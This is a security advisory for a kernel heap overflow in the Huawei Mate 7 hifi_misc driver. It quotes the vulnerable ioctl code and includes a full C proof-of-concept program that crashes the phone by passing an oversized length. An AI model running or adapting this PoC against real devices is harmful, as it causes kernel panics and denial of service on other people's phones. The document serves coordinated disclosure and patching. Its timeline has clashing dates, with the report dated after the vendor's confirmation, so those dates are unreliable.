Summary

/dev/hifi_misc module of Huawei Mate 7 smart phone has an input check error, which allows the user-mode application to modify kernel-mode memory data and maybe make system break down or application elevate privilege.

Description

/dev/hifi_misc is an interface for a user-mode application to interact with kernel module of hisi chipset. It is very likely that hifi_misc is related with hifi audio features. Seen from drivers/hisi/hifidsp/hifi_lpp.c, one could send messages to hifi’s kernel module by invoking ioctl() with HIFI_MISC_IOCTL_WRITE_PARAMS:

static long hifi_misc_ioctl(struct file *fd, unsigned int cmd, unsigned long arg)
{
[...]
	switch(cmd) {
		[...]
		case HIFI_MISC_IOCTL_WRITE_PARAMS : /* write algo param to hifi*/
			ret = hifi_dsp_write_param(arg);
			break;
		[...]
	}
[...]
}

After ioctl(), hifi_dsp_write_param() is called with the parameter directly passed from user-space:

int hifi_dsp_write_param(unsigned long arg)
{
	int ret = OK;
	phys_addr_t hifi_param_phy_addr = 0;
	void*	    			hifi_param_vir_addr = NULL;
	CARM_HIFI_DYN_ADDR_SHARE_STRU* hifi_addr = NULL;
	struct misc_io_sync_param para;
[...]
	if (copy_from_user(&para, (void*)arg, sizeof(struct misc_io_sync_param))) {  // arg --> para
	   loge("copy_from_user fail.\n");
	   ret = ERROR;
	   goto error1;
	}
[...]
	hifi_param_vir_addr = (unsigned char*)ioremap(hifi_param_phy_addr, SIZE_PARAM_PRIV); // heap alloc
	if (NULL == hifi_param_vir_addr) {
	   loge("hifi_param_vir_addr ioremap fail\n");
	   ret = ERROR;
	   goto error2;
	}
[...]
	ret = copy_from_user(hifi_param_vir_addr, para.para_in, para.para_size_in); // heap overflow
	if ( ret != 0) {
	   loge("copy data to hifi error! ret = %d", ret);
	}
[...]
}

Parameter arg is a struct pointer points to user-space memory. After initialization of hifi_dsp_write_param(), user-space memory pointed by arg is copied to para via copy_from_user(). Without any verification, all the member variables of para is fully controlled by user-space application. The struct of para:

struct misc_io_sync_param {
       void *                  para_in;          
       unsigned int        para_size_in;      
       void *                  para_out;          
       unsigned int        para_size_out;  
};

Next, a memory copy is invoked as copy_from_user(hifi_param_vir_addr, para.para_in, para.para_size_in)

  1. hifi_param_vir_addr points to a kernel heap block allocated by ioremap(), regarded as the address of destination memory block. The size of the this heap block is SIZE_PARAM_PRIV (equals to 200
    • 1024) bytes.
  2. para.para_in is a pointer controlled by user-space, regarded as the address of original memory block.

  3. para.para_size is an unsigned int controlled by user-space, regarded as the size of original memory block.

Since there are not any verification of para_size and para_in, if para.para_size is larger than 200*1024, say 300*1024`, a typical heap overflow is triggered. The source code of our poc:

/*
 *
 *  HuaWei Mate7 hifi driver PoC
 *
 *  Writen by pray3r<pray3r.z@gmail.com>
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/ioctl.h>

#define HIFI_MISC_IOCTL_WRITE_PARAMS    _IOWR('A', 0x75, struct misc_io_sync_param)

struct misc_io_sync_param {
       void *                  para_in;           
       unsigned int            para_size_in;       
       void *                  para_out;           
       unsigned int            para_size_out;   
};

int main(int arg, char **argv)
{
	int fd; 
	void *in = malloc(300 * 1024);
	void *out = malloc(100);
	struct misc_io_sync_param poc;

	poc.para_in = in;
	poc.para_size_in = 300 * 1024;
	poc.para_out = out;
	poc.para_size_out = 100;

	fd = open("/dev/hifi_misc", O_RDWR);

	ioctl(fd, HIFI_MISC_IOCTL_WRITE_PARAMS, &poc);

	free(in);
	free(out);

	return 0;
}

Execute the crash_poc will break down Huawei Mate 7. Be aware that the poc should be executed under system or audio privilege, since /dev/hifi_misc is only writable to audio and system user.

Impact

The Kernel will panic if para.para_size being set by a large vaule, the smart phone will break down because of heap overflow inside kernel space, the problem is very hard to gain root. Because get_vm_area_node() called ioremap()[1], the function allocates a guard PAGE_SIZE page.

Thanks for Dan Rosenberg.[2]

Affected

Model : HUAWEI MT7-TL10

Version : MT7-TL10V100R001CHNC00B133

Android : 4.4.2

Kernel : 3.10.30-00015-g049a08f

Other models of Huawei smart phones with hisi chipset may also be affected.

Patch

More information:

http://www1.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-460347.htm

Timelime

Sep 28 2015 - Report sent to Huawei PSIRT

Sep 10 2015 - Huawei confirmed the security issues

Nov 04 2015 - Huawei fixed and public the security issues

Nov 09 2015 - Assgined CVE number

Reference